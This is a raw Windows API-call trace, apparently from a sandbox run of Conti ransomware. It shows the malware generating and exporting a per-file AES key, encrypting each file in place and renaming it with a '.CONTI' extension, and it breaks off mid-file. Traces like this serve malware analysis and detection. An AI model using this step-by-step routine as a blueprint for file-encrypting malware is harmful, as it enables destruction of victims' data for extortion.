	[0151.484] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ba60f0 | out: hHeap=0x1720000) returned 1
	[0151.484] CryptDestroyKey (hKey=0x17de910) returned 1
	[0151.484] GetProcessHeap () returned 0x1720000
	[0151.484] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181b368 | out: hHeap=0x1720000) returned 1
	[0151.484] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0151.484] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x65db048 | out: phKey=0x65db048*=0x17deb50) returned 1
	[0151.484] CryptExportKey (in: hKey=0x17deb50, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65db04c, pdwDataLen=0x587f8ac | out: pbData=0x65db04c*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0151.485] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sv-se.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_sv-se.htm")) returned 0x20
	[0151.485] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sv-se.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_sv-se.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448
	[0151.485] GetLastError () returned 0x0
	[0151.485] GetFileSizeEx (in: hFile=0x448, lpFileSize=0x587f858 | out: lpFileSize=0x587f858*=70391) returned 1
	[0151.485] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x112f7
	[0151.485] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x22d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0151.485] SetEndOfFile (hFile=0x448) returned 1
	[0151.485] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.486] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0151.486] WriteFile (in: hFile=0x448, lpBuffer=0x65db04c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x587f864, lpOverlapped=0x0 | out: lpBuffer=0x65db04c*, lpNumberOfBytesWritten=0x587f864*=0x20c, lpOverlapped=0x0) returned 1
	[0151.488] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.488] ReadFile (in: hFile=0x448, lpBuffer=0x10cf0000, nNumberOfBytesToRead=0x112f7, lpNumberOfBytesRead=0x587f884, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesRead=0x587f884*=0x112f7, lpOverlapped=0x0) returned 1
	[0151.493] CryptEncrypt (in: hKey=0x17deb50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x112f7, dwBufLen=0x500000 | out: pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x11300) returned 1
	[0151.493] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0151.493] WriteFile (in: hFile=0x448, lpBuffer=0x10cf0000*, nNumberOfBytesToWrite=0x11300, lpNumberOfBytesWritten=0x587f898, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesWritten=0x587f898*=0x11300, lpOverlapped=0x0) returned 1
	[0151.493] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0151.494] WriteFile (in: hFile=0x448, lpBuffer=0x65db040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x587f8b0, lpOverlapped=0x0 | out: lpBuffer=0x65db040*, lpNumberOfBytesWritten=0x587f8b0*=0x8, lpOverlapped=0x0) returned 1
	[0151.494] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.494] CloseHandle (hObject=0x448) returned 1
	[0151.494] GetProcessHeap () returned 0x1720000
	[0151.494] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ba60f0
	[0151.494] lstrcpyW (in: lpString1=0x6ba60f0, lpString2="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sv-se.htm" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sv-se.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sv-se.htm"
	[0151.494] lstrcatW (in: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sv-se.htm", lpString2=".CONTI" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sv-se.htm.CONTI") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sv-se.htm.CONTI"
	[0151.494] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sv-se.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_sv-se.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sv-se.htm.CONTI" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_sv-se.htm.conti")) returned 1
	[0151.494] GetProcessHeap () returned 0x1720000
	[0151.494] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ba60f0 | out: hHeap=0x1720000) returned 1
	[0151.494] CryptDestroyKey (hKey=0x17deb50) returned 1
	[0151.494] GetProcessHeap () returned 0x1720000
	[0151.494] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181b908 | out: hHeap=0x1720000) returned 1
	[0151.495] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0151.495] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x65de4c0 | out: phKey=0x65de4c0*=0x17de9d0) returned 1
	[0151.495] CryptExportKey (in: hKey=0x17de9d0, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65de4c4, pdwDataLen=0x587f8ac | out: pbData=0x65de4c4*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0151.495] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_tr-tr.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_tr-tr.htm")) returned 0x20
	[0151.495] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_tr-tr.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_tr-tr.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448
	[0151.496] GetLastError () returned 0x0
	[0151.496] GetFileSizeEx (in: hFile=0x448, lpFileSize=0x587f858 | out: lpFileSize=0x587f858*=75137) returned 1
	[0151.496] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x12581
	[0151.496] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x233, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0151.496] SetEndOfFile (hFile=0x448) returned 1
	[0151.496] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.496] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0151.496] WriteFile (in: hFile=0x448, lpBuffer=0x65de4c4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x587f864, lpOverlapped=0x0 | out: lpBuffer=0x65de4c4*, lpNumberOfBytesWritten=0x587f864*=0x20c, lpOverlapped=0x0) returned 1
	[0151.499] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.499] ReadFile (in: hFile=0x448, lpBuffer=0x10cf0000, nNumberOfBytesToRead=0x12581, lpNumberOfBytesRead=0x587f884, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesRead=0x587f884*=0x12581, lpOverlapped=0x0) returned 1
	[0151.504] CryptEncrypt (in: hKey=0x17de9d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x12581, dwBufLen=0x500000 | out: pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x12590) returned 1
	[0151.504] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0151.504] WriteFile (in: hFile=0x448, lpBuffer=0x10cf0000*, nNumberOfBytesToWrite=0x12590, lpNumberOfBytesWritten=0x587f898, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesWritten=0x587f898*=0x12590, lpOverlapped=0x0) returned 1
	[0151.504] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0151.504] WriteFile (in: hFile=0x448, lpBuffer=0x65de4b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x587f8b0, lpOverlapped=0x0 | out: lpBuffer=0x65de4b8*, lpNumberOfBytesWritten=0x587f8b0*=0x8, lpOverlapped=0x0) returned 1
	[0151.505] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.505] CloseHandle (hObject=0x448) returned 1
	[0151.505] GetProcessHeap () returned 0x1720000
	[0151.505] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ba60f0
	[0151.505] lstrcpyW (in: lpString1=0x6ba60f0, lpString2="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_tr-tr.htm" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_tr-tr.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_tr-tr.htm"
	[0151.505] lstrcatW (in: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_tr-tr.htm", lpString2=".CONTI" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_tr-tr.htm.CONTI") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_tr-tr.htm.CONTI"
	[0151.505] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_tr-tr.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_tr-tr.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_tr-tr.htm.CONTI" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_tr-tr.htm.conti")) returned 1
	[0151.507] GetProcessHeap () returned 0x1720000
	[0151.507] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ba60f0 | out: hHeap=0x1720000) returned 1
	[0151.508] CryptDestroyKey (hKey=0x17de9d0) returned 1
	[0151.508] GetProcessHeap () returned 0x1720000
	[0151.508] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181b9f8 | out: hHeap=0x1720000) returned 1
	[0151.508] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0151.508] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x65dc288 | out: phKey=0x65dc288*=0x17de5d0) returned 1
	[0151.508] CryptExportKey (in: hKey=0x17de5d0, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65dc28c, pdwDataLen=0x587f8ac | out: pbData=0x65dc28c*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0151.509] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-cn.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_zh-cn.htm")) returned 0x20
	[0151.509] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-cn.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_zh-cn.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0
	[0151.509] GetLastError () returned 0x0
	[0151.509] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x587f858 | out: lpFileSize=0x587f858*=126241) returned 1
	[0151.509] SetFilePointer (in: hFile=0x4a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1ed21
	[0151.509] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x233, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0151.509] SetEndOfFile (hFile=0x4a0) returned 1
	[0151.509] SetFilePointer (in: hFile=0x4a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.509] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0151.510] WriteFile (in: hFile=0x4a0, lpBuffer=0x65dc28c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x587f864, lpOverlapped=0x0 | out: lpBuffer=0x65dc28c*, lpNumberOfBytesWritten=0x587f864*=0x20c, lpOverlapped=0x0) returned 1
	[0151.513] SetFilePointer (in: hFile=0x4a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.513] ReadFile (in: hFile=0x4a0, lpBuffer=0x10cf0000, nNumberOfBytesToRead=0x1ed21, lpNumberOfBytesRead=0x587f884, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesRead=0x587f884*=0x1ed21, lpOverlapped=0x0) returned 1
	[0151.520] CryptEncrypt (in: hKey=0x17de5d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x1ed21, dwBufLen=0x500000 | out: pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x1ed30) returned 1
	[0151.520] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0151.520] WriteFile (in: hFile=0x4a0, lpBuffer=0x10cf0000*, nNumberOfBytesToWrite=0x1ed30, lpNumberOfBytesWritten=0x587f898, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesWritten=0x587f898*=0x1ed30, lpOverlapped=0x0) returned 1
	[0151.520] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0151.520] WriteFile (in: hFile=0x4a0, lpBuffer=0x65dc280*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x587f8b0, lpOverlapped=0x0 | out: lpBuffer=0x65dc280*, lpNumberOfBytesWritten=0x587f8b0*=0x8, lpOverlapped=0x0) returned 1
	[0151.520] SetFilePointer (in: hFile=0x4a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.520] CloseHandle (hObject=0x4a0) returned 1
	[0151.520] GetProcessHeap () returned 0x1720000
	[0151.520] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ba60f0
	[0151.521] lstrcpyW (in: lpString1=0x6ba60f0, lpString2="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-cn.htm" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-cn.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-cn.htm"
	[0151.521] lstrcatW (in: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-cn.htm", lpString2=".CONTI" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-cn.htm.CONTI") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-cn.htm.CONTI"
	[0151.521] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-cn.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_zh-cn.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-cn.htm.CONTI" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_zh-cn.htm.conti")) returned 1
	[0151.521] GetProcessHeap () returned 0x1720000
	[0151.521] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ba60f0 | out: hHeap=0x1720000) returned 1
	[0151.521] CryptDestroyKey (hKey=0x17de5d0) returned 1
	[0151.521] GetProcessHeap () returned 0x1720000
	[0151.521] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181b638 | out: hHeap=0x1720000) returned 1
	[0151.521] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0151.521] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x65dd280 | out: phKey=0x65dd280*=0x17de890) returned 1
	[0151.521] CryptExportKey (in: hKey=0x17de890, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65dd284, pdwDataLen=0x587f8ac | out: pbData=0x65dd284*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0151.522] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-tw.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_zh-tw.htm")) returned 0x20
	[0151.522] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-tw.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_zh-tw.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0
	[0151.522] GetLastError () returned 0x0
	[0151.522] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x587f858 | out: lpFileSize=0x587f858*=147140) returned 1
	[0151.523] SetFilePointer (in: hFile=0x4a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x23ec4
	[0151.523] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0151.523] SetEndOfFile (hFile=0x4a0) returned 1
	[0151.523] SetFilePointer (in: hFile=0x4a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.523] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0151.523] WriteFile (in: hFile=0x4a0, lpBuffer=0x65dd284*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x587f864, lpOverlapped=0x0 | out: lpBuffer=0x65dd284*, lpNumberOfBytesWritten=0x587f864*=0x20c, lpOverlapped=0x0) returned 1
	[0151.525] SetFilePointer (in: hFile=0x4a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.525] ReadFile (in: hFile=0x4a0, lpBuffer=0x10cf0000, nNumberOfBytesToRead=0x23ec4, lpNumberOfBytesRead=0x587f884, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesRead=0x587f884*=0x23ec4, lpOverlapped=0x0) returned 1
	[0151.530] CryptEncrypt (in: hKey=0x17de890, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x23ec4, dwBufLen=0x500000 | out: pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x23ed0) returned 1
	[0151.530] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0151.530] WriteFile (in: hFile=0x4a0, lpBuffer=0x10cf0000*, nNumberOfBytesToWrite=0x23ed0, lpNumberOfBytesWritten=0x587f898, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesWritten=0x587f898*=0x23ed0, lpOverlapped=0x0) returned 1
	[0151.531] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0151.531] WriteFile (in: hFile=0x4a0, lpBuffer=0x65dd278*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x587f8b0, lpOverlapped=0x0 | out: lpBuffer=0x65dd278*, lpNumberOfBytesWritten=0x587f8b0*=0x8, lpOverlapped=0x0) returned 1
	[0151.531] SetFilePointer (in: hFile=0x4a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.531] CloseHandle (hObject=0x4a0) returned 1
	[0151.531] GetProcessHeap () returned 0x1720000
	[0151.531] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ba60f0
	[0151.531] lstrcpyW (in: lpString1=0x6ba60f0, lpString2="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-tw.htm" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-tw.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-tw.htm"
	[0151.531] lstrcatW (in: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-tw.htm", lpString2=".CONTI" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-tw.htm.CONTI") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-tw.htm.CONTI"
	[0151.531] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-tw.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_zh-tw.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-tw.htm.CONTI" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_zh-tw.htm.conti")) returned 1
	[0151.570] GetProcessHeap () returned 0x1720000
	[0151.571] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ba60f0 | out: hHeap=0x1720000) returned 1
	[0151.571] CryptDestroyKey (hKey=0x17de890) returned 1
	[0151.571] GetProcessHeap () returned 0x1720000
	[0151.571] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181b6b0 | out: hHeap=0x1720000) returned 1
	[0151.571] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0151.571] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x65dcdf0 | out: phKey=0x65dcdf0*=0x17de890) returned 1
	[0151.571] CryptExportKey (in: hKey=0x17de890, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65dcdf4, pdwDataLen=0x587f8ac | out: pbData=0x65dcdf4*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0151.571] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\loading.gif" (normalized: "c:\\windows10upgrade\\resources\\ux\\loading.gif")) returned 0x20
	[0151.572] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\loading.gif" (normalized: "c:\\windows10upgrade\\resources\\ux\\loading.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0
	[0151.572] GetLastError () returned 0x0
	[0151.572] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x587f858 | out: lpFileSize=0x587f858*=17395) returned 1
	[0151.572] SetFilePointer (in: hFile=0x4a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x43f3
	[0151.572] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0151.572] SetEndOfFile (hFile=0x4a0) returned 1
	[0151.572] SetFilePointer (in: hFile=0x4a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.572] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0151.572] WriteFile (in: hFile=0x4a0, lpBuffer=0x65dcdf4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x587f864, lpOverlapped=0x0 | out: lpBuffer=0x65dcdf4*, lpNumberOfBytesWritten=0x587f864*=0x20c, lpOverlapped=0x0) returned 1
	[0151.584] SetFilePointer (in: hFile=0x4a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.584] ReadFile (in: hFile=0x4a0, lpBuffer=0x10cf0000, nNumberOfBytesToRead=0x43f3, lpNumberOfBytesRead=0x587f884, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesRead=0x587f884*=0x43f3, lpOverlapped=0x0) returned 1
	[0151.588] CryptEncrypt (in: hKey=0x17de890, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x43f3, dwBufLen=0x500000 | out: pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x4400) returned 1
	[0151.588] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
